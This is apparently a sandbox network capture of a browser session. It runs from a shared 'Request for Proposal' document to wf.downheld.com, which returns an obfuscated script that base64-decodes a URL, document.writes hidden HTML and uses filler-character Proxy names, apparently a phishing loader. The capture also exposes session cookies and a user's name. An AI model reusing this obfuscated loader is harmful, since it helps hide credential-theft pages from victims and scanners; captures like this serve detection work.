2025-04-01 16:22:38 UTC	75	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 73 22 3a 5b 7b 22 69 64 22 3a 22 35 64 63 62 65 61 65 35 2d 33 38 65 35 2d 34 65 36 64 2d 38 31 38 61 2d 66 31 38 36 31 38 66 61 32 31 39 36 22 2c 22 74 61 62 6c 65 22 3a 22 75 73 65 72 22 7d 5d 7d Data Ascii: {"requests":[{"id":"5dcbeae5-38e5-4e6d-818a-f18618fa2196","table":"user"}]}
2025-04-01 16:22:38 UTC	661	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 16:22:38 GMT Content-Type: application/json; charset=utf-8 Content-Length: 582 Connection: close X-Pod-Name: unknown X-Pod-IP: unknown X-Node-Name: unknown Vary: Origin Access-Control-Allow-Origin: https://walles.ai Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: x-set-token set-cookie: locale=en-us; path=/; max-age=31557600; expires=Wed, 01 Apr 2026 22:22:38 GMT; secure x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-readtime: 11 Server-Timing: body_parse;dur=0.16, controller;dur=11.50, total;dur=11
2025-04-01 16:22:38 UTC	582	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 32 30 30 2c 22 64 61 74 61 22 3a 7b 22 75 73 65 72 73 22 3a 7b 22 35 64 63 62 65 61 65 35 2d 33 38 65 35 2d 34 65 36 64 2d 38 31 38 61 2d 66 31 38 36 31 38 66 61 32 31 39 36 22 3a 7b 22 75 75 69 64 22 3a 22 35 64 63 62 65 61 65 35 2d 33 38 65 35 2d 34 65 36 64 2d 38 31 38 61 2d 66 31 38 36 31 38 66 61 32 31 39 36 22 2c 22 6e 69 63 6b 6e 61 6d 65 22 3a 22 45 6d 6d 61 20 43 72 61 69 6e 22 2c 22 61 76 61 74 61 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 68 33 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 61 2f 41 43 67 38 6f 63 4c 66 50 62 79 51 74 33 75 49 45 63 79 55 73 6d 49 51 49 68 38 50 39 35 30 54 62 32 48 54 51 7a 72 64 54 4d 4a 30 54 39 4b 6f 6d 75 4e 62 6e 51 3d 73 39 36 2d 63 22 2c 22 62 61 63 6b 67 72 6f Data Ascii: {"code":200,"data":{"users":{"5dcbeae5-38e5-4e6d-818a-f18618fa2196":{"uuid":"5dcbeae5-38e5-4e6d-818a-f18618fa2196","nickname":"Emma Crain","avatar":"https://lh3.googleusercontent.com/a/ACg8ocLfPbyQt3uIEcyUsmIQIh8P950Tb2HTQzrdTMJ0T9KomuNbnQ=s96-c","backgro

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:40 UTC	548	OUT	GET /api/docs/5a345237-8f26-47b9-9ffb-209d1d646648 HTTP/1.1 Host: buildin.ai Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: next_lng=undefined; _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556; locale=en-us
2025-04-01 16:22:40 UTC	509	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 16:22:40 GMT Content-Type: application/json; charset=utf-8 Content-Length: 2686 Connection: close X-Pod-Name: unknown X-Pod-IP: unknown X-Node-Name: unknown Vary: Origin set-cookie: locale=en-us; path=/; max-age=31557600; expires=Wed, 01 Apr 2026 22:22:40 GMT; secure x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-readtime: 16 Server-Timing: controller;dur=16.49, total;dur=16
2025-04-01 16:22:40 UTC	2686	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 32 30 30 2c 22 64 61 74 61 22 3a 7b 22 62 6c 6f 63 6b 73 22 3a 7b 22 35 61 33 34 35 32 33 37 2d 38 66 32 36 2d 34 37 62 39 2d 39 66 66 62 2d 32 30 39 64 31 64 36 34 36 36 34 38 22 3a 7b 22 75 75 69 64 22 3a 22 35 61 33 34 35 32 33 37 2d 38 66 32 36 2d 34 37 62 39 2d 39 66 66 62 2d 32 30 39 64 31 64 36 34 36 36 34 38 22 2c 22 70 61 72 65 6e 74 49 64 22 3a 22 65 39 38 62 66 66 36 65 2d 62 34 32 63 2d 34 65 33 36 2d 38 66 39 34 2d 61 61 37 33 38 32 64 31 65 38 32 62 22 2c 22 73 70 61 63 65 49 64 22 3a 22 65 39 38 62 66 66 36 65 2d 62 34 32 63 2d 34 65 33 36 2d 38 66 39 34 2d 61 61 37 33 38 32 64 31 65 38 32 62 22 2c 22 74 79 70 65 22 3a 30 2c 22 74 69 74 6c 65 22 3a 22 52 65 71 75 65 73 74 20 66 6f 72 20 50 72 6f 70 6f 73 61 6c 20 28 Data Ascii: {"code":200,"data":{"blocks":{"5a345237-8f26-47b9-9ffb-209d1d646648":{"uuid":"5a345237-8f26-47b9-9ffb-209d1d646648","parentId":"e98bff6e-b42c-4e36-8f94-aa7382d1e82b","spaceId":"e98bff6e-b42c-4e36-8f94-aa7382d1e82b","type":0,"title":"Request for Proposal (

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:40 UTC	527	OUT	GET /api/spaces/getPublicData HTTP/1.1 Host: buildin.ai Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: next_lng=undefined; _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556; locale=en-us
2025-04-01 16:22:40 UTC	405	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 16:22:40 GMT Content-Type: application/json; charset=utf-8 Content-Length: 51 Connection: close X-Pod-Name: unknown X-Pod-IP: unknown X-Node-Name: unknown Vary: Origin x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-readtime: 5 Server-Timing: controller;dur=5.87, total;dur=5
2025-04-01 16:22:40 UTC	51	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 34 32 32 2c 22 6d 73 67 22 3a 22 5c 22 73 70 61 63 65 5c 22 20 6d 75 73 74 20 62 65 20 61 20 76 61 6c 69 64 20 47 55 49 44 22 7d Data Ascii: {"code":422,"msg":"\"space\" must be a valid GUID"}

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:40 UTC	520	OUT	GET /api/records/query HTTP/1.1 Host: buildin.ai Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: next_lng=undefined; _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556; locale=en-us
2025-04-01 16:22:40 UTC	405	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 16:22:40 GMT Content-Type: application/json; charset=utf-8 Content-Length: 67 Connection: close X-Pod-Name: unknown X-Pod-IP: unknown X-Node-Name: unknown Vary: Origin x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-readtime: 3 Server-Timing: controller;dur=7.76, total;dur=8
2025-04-01 16:22:40 UTC	67	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 35 30 30 2c 22 6d 73 67 22 3a 22 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 2e 20 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 22 7d Data Ascii: {"code":500,"msg":"Internal server error. Please try again later."}

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:40 UTC	385	OUT	GET /country_code/ HTTP/1.1 Host: ipapi.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:41 UTC	926	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 16:22:41 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close Allow: OPTIONS, OPTIONS, HEAD, GET, POST X-Frame-Options: DENY Vary: Host, origin X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=22hWTmz3KajusqO7QLrsNQvcuHVWi4sLAfFL7XGoKb4k6VZe%2BKIBiE4OnMjM0DNNaujHL26AaObAS1sLf4QhU3OjTEy79FR75VaRakj0oMKB%2FG0mN1ihjeFL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92996d3a4d50de93-EWR server-timing: cfL4;desc="?proto=TCP&rtt=107523&min_rtt=105853&rtt_var=19643&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2789&recv_bytes=961&delivery_rate=34606&cwnd=231&unsent_bytes=0&cid=d8c1605aac449393&ts=432&x=0"
2025-04-01 16:22:41 UTC	2	IN	Data Raw: 55 53 Data Ascii: US

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:49 UTC	678	OUT	GET /Te2y0P/ HTTP/1.1 Host: wf.downheld.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:50 UTC	1223	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 16:22:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Vary: accept-encoding Cf-Cache-Status: DYNAMIC Alt-Svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6Im5NdzhzZnREWTdMRWR1ZmdTTHFYUFE9PSIsInZhbHVlIjoiQVZkOGJidVhWSmZZaVM1ckY1NnJ5OGNpdDd4bkdld0FIcUUvVW10OGpWZFM4TFlyUHVMY2RjK3FtdWJ5NDVzaGJtZWg3ZkQ2a0dJem1lMTkrM3Bsb0g1eGUvU0RYTU9hZ3pyNWR4V09lSkRlOU9hM1Fsc1AvZnNldndsS1dmY1MiLCJtYWMiOiIxNjQ3YTBkMDljZDRiMDZiMDAzMTMzZjgwZTNhM2IzZjkzOGFiMGY3NDZiN2M3ZDdjMDRmMjVjZWFiMDJiNzEzIiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Tue, 01 Apr 2025 18:22:49 GMT Set-Cookie: laravel_session=eyJpdiI6ImJHN0lzSnJvSC9GZW80c1MrRXBNMUE9PSIsInZhbHVlIjoiQzhyWnJGandkaU1aU1hKb0twQW9iRGUrMmE4QWhYd3RRQjBMMzNSeXRVYUIvYWhmWnZOTVpHRXZDV3pCemp0RUQwRnRBaG9KeFVHRGpRSzd1dWZadkh4WmxsOXhvM01IaUQ0MElqODlGSGJZMVVsbnZSelltLzRZVjZETU55eWgiLCJtYWMiOiIwNmIwZmYyNDBiNzM4ZGY5ZmZiYmQzOWNhZDU4ZGNhZjQ2ZmYyMzBmMzgxYTIxNjI2YTZmMGI2ZjMyMDA5OTVhIiwidGFnIjoiIn0%3D; HttpOnly; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Tue, 01 Apr 2025 18:22:49 GMT CF-RAY: 92996d712c6b42c4-EWR
2025-04-01 16:22:50 UTC	1369	IN	Data Raw: 33 30 30 30 0d 0a 3c 73 63 72 69 70 74 3e 0a 64 49 4b 61 72 6d 45 72 51 67 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 54 63 48 41 75 5a 47 39 33 62 6d 68 6c 62 47 51 75 59 32 39 74 4c 31 52 6c 4d 6e 6b 77 55 43 38 3d 22 29 3b 0a 63 42 53 6b 76 66 42 66 6f 45 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 54 50 69 77 63 6e 51 41 6c 76 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 64 49 4b 61 72 6d 45 72 51 67 20 3d 3d 20 63 42 53 6b 76 66 42 66 6f 45 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 54 50 69 77 63 6e 51 41 6c 76 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f Data Ascii: 3000<script>dIKarmErQg = atob("aHR0cHM6Ly9TcHAuZG93bmhlbGQuY29tL1RlMnkwUC8=");cBSkvfBfoE = atob("bm9tYXRjaA==");TPiwcnQAlv = atob("d3JpdGU=");if(dIKarmErQg == cBSkvfBfoE){document[TPiwcnQAlv](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+Cjxo
2025-04-01 16:22:50 UTC	1369	IN	Data Raw: 38 74 63 32 56 73 5a 57 4e 30 61 57 39 75 65 79 31 33 5a 57 4a 72 61 58 51 74 64 47 39 31 59 32 67 74 59 32 46 73 62 47 39 31 64 44 70 75 62 32 35 6c 4f 79 31 33 5a 57 4a 72 61 58 51 74 64 58 4e 6c 63 69 31 7a 5a 57 78 6c 59 33 51 36 62 6d 39 75 5a 54 73 74 61 32 68 30 62 57 77 74 64 58 4e 6c 63 69 31 7a 5a 57 78 6c 59 33 51 36 62 6d 39 75 5a 54 73 74 62 57 39 36 4c 58 56 7a 5a 58 49 74 63 32 56 73 5a 57 4e 30 4f 6d 35 76 62 6d 55 37 4c 57 31 7a 4c 58 56 7a 5a 58 49 74 63 32 56 73 5a 57 4e 30 4f 6d 35 76 62 6d 55 37 64 58 4e 6c 63 69 31 7a 5a 57 78 6c 59 33 51 36 62 6d 39 75 5a 58 31 41 4c 58 64 6c 59 6d 74 70 64 43 31 72 5a 58 6c 6d 63 6d 46 74 5a 58 4d 67 63 47 39 77 65 7a 41 6c 65 33 52 79 59 57 35 7a 5a 6d 39 79 62 54 70 7a 59 32 46 73 5a 53 67 77 4b Data Ascii: 8tc2VsZWN0aW9uey13ZWJraXQtdG91Y2gtY2FsbG91dDpub25lOy13ZWJraXQtdXNlci1zZWxlY3Q6bm9uZTsta2h0bWwtdXNlci1zZWxlY3Q6bm9uZTstbW96LXVzZXItc2VsZWN0Om5vbmU7LW1zLXVzZXItc2VsZWN0Om5vbmU7dXNlci1zZWxlY3Q6bm9uZX1ALXdlYmtpdC1rZXlmcmFtZXMgcG9wezAle3RyYW5zZm9ybTpzY2FsZSgwK
2025-04-01 16:22:50 UTC	1369	IN	Data Raw: 37 43 6d 4e 76 62 6e 4e 30 49 48 42 79 62 33 68 35 49 44 30 67 62 6d 56 33 49 46 42 79 62 33 68 35 4b 48 74 39 4c 43 42 6d 54 33 5a 68 51 6b 31 61 56 6e 64 79 4b 54 73 4b 63 48 4a 76 65 48 6c 62 49 75 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f Data Ascii: 7CmNvbnN0IHByb3h5ID0gbmV3IFByb3h5KHt9LCBmT3ZhQk1aVndyKTsKcHJveHlbIu++oOOFpOOFpO++oOOFpO++oO++oOOFpO++oOOFpOOFpO++oO++oOOFpOOFpO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oOOFpO++oO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oO++oO++oO++oO
2025-04-01 16:22:50 UTC	1369	IN	Data Raw: 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b Data Ascii: oO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpO++oOOFpOOFpO++oOOFpO++oO++oOOFpO++oO++oO++oO++oO++oO++oOOFpOOFpOOFpOOFpOOFpO++oO++oO++oOOFpOOFpOOFpOOFpOOFpO++oO++oO++oO++oOOFpO++oO++oO+
2025-04-01 16:22:50 UTC	1369	IN	Data Raw: 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b Data Ascii: O++oOOFpOOFpOOFpO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oOOFpO++oO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpO++
2025-04-01 16:22:50 UTC	1369	IN	Data Raw: 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f Data Ascii: OFpO++oO++oO++oO++oOOFpO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpOOFpO++oOOFpO++oO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpOOFpOOFpOOFpO++oOOFpO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++o
2025-04-01 16:22:50 UTC	1369	IN	Data Raw: 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f Data Ascii: +oOOFpOOFpO++oOOFpO++oO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpO++oO++oO++oOOFpO++oOOFpO++oO++oO++oO
2025-04-01 16:22:50 UTC	1369	IN	Data Raw: 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b Data Ascii: pO++oO++oOOFpOOFpOOFpO++oOOFpO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpOOFpO++oOOFpO++oO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oO++oOOFpO++oO++oO++oO+
2025-04-01 16:22:50 UTC	1344	IN	Data Raw: 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 Data Ascii: O++oOOFpO++oO++oOOFpO++oO++oO++oO++oO++oOOFpO++oOOFpO++oOOFpO++oO++oO++oO++oO++oOOFpOOFpOOFpO++oO++oO++oOOFpO++oOOFpOOFpO++oOOFpO++oO++oOOFpO++oOOFpOOFpO++oO++oO++oOOFpO++oO++oOOFpOOFpO++oO++oOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpO++oO++oOOFpOOFpO++oOOF
